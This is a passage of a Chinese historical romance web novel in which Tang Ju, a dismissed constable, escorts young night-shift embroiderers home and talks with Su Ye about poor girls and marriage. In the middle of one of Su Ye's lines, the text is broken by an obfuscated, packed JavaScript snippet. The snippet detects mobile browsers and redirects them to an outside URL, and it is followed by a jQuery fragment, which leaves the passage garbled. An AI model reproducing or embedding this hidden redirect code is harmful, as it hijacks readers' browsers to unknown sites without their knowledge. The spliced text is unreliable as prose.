一个小姑娘上前挽住唐橘的手臂，姿态亲昵，“没听见声音，我们以为姐姐你今夜不来了。” 唐橘笑笑，“我不来，你们怎么回家啊？” 小姑娘们咧着嘴笑，眼睛像是被山泉水洗过一般，亮晶晶的。 将她们一一送回家，唐橘转身之时，笑容瞬间凝结在唇角。 月光下，苏叶正直勾勾地看着她。 唐橘没好气道：“你跟踪我？” 苏叶淡定地摸了摸鼻子，“我只是在核查，看你是否在做违反朝廷法度之事。那间宅子是做什么的？” 唐橘冷哼。 “既然你不说，那我就自己去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137256|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查。” 说完，转身欲走。 唐橘拦下他，沉默半晌道：“那间宅子的主人是何三娘。” 苏叶挑眉，“德慧秀衣坊的当家何三娘？” “嗯。” 苏叶带她去到一间酒肆，点了几盘小菜和清粥，“还没吃饭吧？一边吃，一边说。” 被他那直勾勾的眼神一直盯着，唐橘不自在地皱了下眉头，“本也没什么，我被大理寺革职，就额外接了个送绣娘回家的活计，赚些闲散银子。” “绣娘需要夜里做工？”苏叶看着她，似笑非笑。 唐橘狠狠地瞪了他一眼，“姓苏的，你明知故问啊！” 那些绣娘年幼者十二三岁，大者则十六七岁，皆是少女妆扮。 在大胤，大多数的未婚女子不会出来抛头露面，所以绣坊里的绣娘通常都是三十岁以上的妇人。何三娘答应招这些小姑娘们进秀衣坊，也只敢让她们在夜里偷偷地做工。 夜里做工，姑娘们害怕走夜路，就一起凑钱，请唐橘每日送她们回家。 “一日能赚几钱？” “半钱。” 苏叶笑了，“就这点钱，这是打发谁呢！” 唐橘听着不乐意，“都是她们的辛苦钱，你生来就是皇亲贵胄，当然不明白，穷人家的女孩子到了这个年纪都要嫁人，家里没钱，顾不上挑拣，能多给些聘礼的就是好人家。她们出来做绣活儿，每多赚一钱，都是为了给自己选夫婿时能多一分底气。” 苏叶沉默片刻。 “你呢？” 唐橘没听懂。 苏叶又问一遍，“你父母没逼你成亲？” 唐橘猛吸一大口粥，理所当然道：“没有。我家祖上七代都是猎户，堪堪出了我这么一个当官的，我爹娘可舍不得我嫁人。” “……” 苏叶嘴角微抽，“你这也算官？” 唐橘不以为意，“官差也是官！他们不懂官与吏的差别，只知道我在大理寺当差，跟着大老爷断案，凭本事吃饭，将来还能做大理寺第一捕快呢。” 苏叶扑哧一笑，“你父母倒也有趣。” 唐橘歪头想了想，“可惜啊，天底下大部分的父母还是喜欢把心思放在自家闺女的肚子上。” 苏叶被她的形容呛了一下，“什么肚子……你胡说什么呢？” “怎么不是？”唐橘继续道：“话糙理不糙。他们觉得女子的作用就是嫁人生子。若是生不出孩子，这一辈子就毁了。如果有一日，他们发现女子除了肚子，还有力气和脑子，能自食其力，兴许很多事情就变得简单了。” 唐橘想起传言，突然一脸同情地看着他，“我见你常以庶务为借口躲避长公主，仔细想想，你也挺可怜的，其实你和那些被逼着嫁人的女孩子也没什么区别。” 苏叶闻言大怒，正欲发作，唐橘却突然揽着他的脖子，好哥们儿似地哄着，“好了！好了！不逗你了。你要记得，帮这些姑娘保守秘密。” 粗粝的手掌落在颈上，肌肤似是被掌心的热度烫了一下，苏叶只觉心脏被突地一撞，浑身发麻。 他抚着胸口半晌，等心跳渐渐平复。